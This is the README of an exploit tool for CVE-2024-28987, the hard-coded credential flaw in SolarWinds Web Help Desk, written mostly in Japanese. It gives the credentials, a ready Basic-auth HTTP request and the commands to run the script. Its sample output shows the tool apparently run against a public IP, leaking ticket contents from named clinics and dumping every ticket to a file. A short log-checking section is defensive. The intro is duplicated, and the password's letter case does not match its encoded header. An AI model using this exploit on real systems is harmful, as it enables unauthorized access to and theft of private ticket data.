
**CVE-2024-28987** は、SolarWinds Web Help Desk (WHD) における重大な脆弱性であり、リモートの攻撃者が **ハードコードされた認証情報** を使用して機密のチケット情報にアクセスできるようになります。この脆弱性の **CVSS スコアは 9.1 (Critical)** であり、現在実際に悪用されています。
⚠️ 免責事項: このツールは教育目的および許可を受けたセキュリティテスト専用です。コンピュータシステムへの不正アクセスは違法です。このツールは、自分が所有するシステム、または明示的なテスト許可を得たシステムでのみ使用してください。
CVE-2024-28987 は、SolarWinds Web Help Desk(WHD)における重大な脆弱性であり、リモートの攻撃者がハードコードされた資格情報を使用して機密のチケット情報にアクセスできるようにするものです。この脆弱性のCVSSスコアは9.1(Critical) で、現在も実際の環境で活発に悪用されています。
| 属性 | 値 |
|---|
| CVE ID | CVE-2024-28987 |
| CVSS スコア | 9.1 (Critical) |
| CWE | CWE-798(ハードコードされた資格情報) |
| 影響を受ける製品 | SolarWinds Web Help Desk ≤ 12.8.3 Hotfix 1 |
| 修正バージョン | 12.8.3 Hotfix 2 |
| 悪用状況 | 実際の環境で活発に悪用中 |
| CISA KEV への追加日 | 2024年10月15日 |
認証されていない攻撃者は以下を行うことができます:
/OrionTickets エンドポイントを介してチケットのCRUD操作を実行# Clone the repository
git clone https://github.com/Darabium/CVE-2024-28987.git
cd CVE-2024-28987
# Make the script executable
Usage
bash
# With target URL as argument
python3 cve-2024-28987.py http://target-ip:port
# Interactive mode (will prompt for target)
python3 cve-2024-28987.py
# Example with a vulnerable target
python3 cve-2024-28987.py http://192.168.1.100:8098
📊 Output Example
bash
$ python3 cve-2024-28987.py http://138.94.193.65:8098
╔══════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██╗███████╗ ║
║ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗██║ ██║██╔════╝ ║
║ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║███████║█████╗ ║
║ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔══██║██╔══╝ ║
║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝██║ ██║███████╗ ║
║ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ║
║ ║
║ CVE-2024-28987 - SolarWinds Web Help Desk ║
║ Hardcoded Credentials Vulnerability ║
║ ║
╠══════════════════════════════════════════════════════════════════╣
║ GitHub: https://github.com/Darabium ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking http://****:**/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
[+] Target is VULNERABLE!
[+] Found 42 tickets
======================================================================
[📋] Ticket Preview (First 3 tickets)
======================================================================
Ticket #1
├── ID: 5690
├── Client: UBS Portao Vermelho
├── Status: Open
├── Detail: BOA TARDE ENCAMINHO SOLICITAÇÃO DE MATERIAIS DA ODONTO
Ticket #2
├── ID: 5691
├── Client: UBS Centro
├── Status: In Progress
├── Detail: ALCOOL 70% - Solicitação de material de limpeza
======================================================================
[🔐] Scanning for Sensitive Data
======================================================================
[!] Potential PASSWORD data found in ticket #5723
└── detail: Please reset my password for system access...
[?] Do you want to extract ALL tickets to file? [y/N]: y
[*] Saving to: 138_94_193_65_8098_tickets.json
[✓] Successfully saved 138_94_193_65_8098_tickets.json
[*] File size: 42,847 bytes
[*] Total tickets: 42
[*] Done!
GitHub: https://github.com/Darabium
📁 ファイル構造
CVE-2024-28987/
├── cve-2024-28987.py # メインのエクスプロイトスクリプト
├── README.md # このファイル
└── LICENSE # MITライセンス
出力ファイル
チケットを抽出すると、以下のファイルが作成されます:
138_94_193_65_8098_tickets.json
***_tickets.jsonl
USERNAME = "helpdeskIntegrationUser"
PASSWORD = "dev-C4F8025E7"
/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
GET /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ HTTP/1.1
Host: vulnerable-target:8098
Authorization: Basic aGVscGRlc2tJbnRlZ3JhdGlvblVzZXI6ZGV2LUM0ZjgwMjVFNw==
Content-Type: application/x-www-form-urlencoded
/OrionTickets エンドポイントへの不審なアクセスがないかログを確認する# Check for exploitation attempts in logs
grep -i "OrionTickets" /var/log/webhelpdesk/access.log
# Check for unauthorized access patterns
grep -i "helpdeskIntegrationUser" /var/log/webhelpdesk/access.log
# Check current version
cat /opt/WebHelpDesk/version.txt
この脆弱性は、CISAのKnown Exploited Vulnerabilities(KEV)カタログに追加されました。組織は指定された期限までにパッチを適用することが義務付けられています。
追加日:2024年10月15日
必要な対応:ベンダーの指示に従ってアップデートを適用してください
期限:2024年11月5日(21日間)
NVD CVE-2024-28987
CISA KEV カタログ
SolarWinds セキュリティアドバイザリ
PEP 668 - 外部環境管理
コントリビューションを歓迎します!プルリクエストやイシューはお気軽にご提出ください。
このプロジェクトはMITライセンスの下で提供されています。詳細はLICENSEファイルを参照してください。
Darabium - 初期開発 - GitHub
このツールが役立つと思われた場合は、GitHubで⭐をお願いします!
Darabium のために ❤️ を込めて制作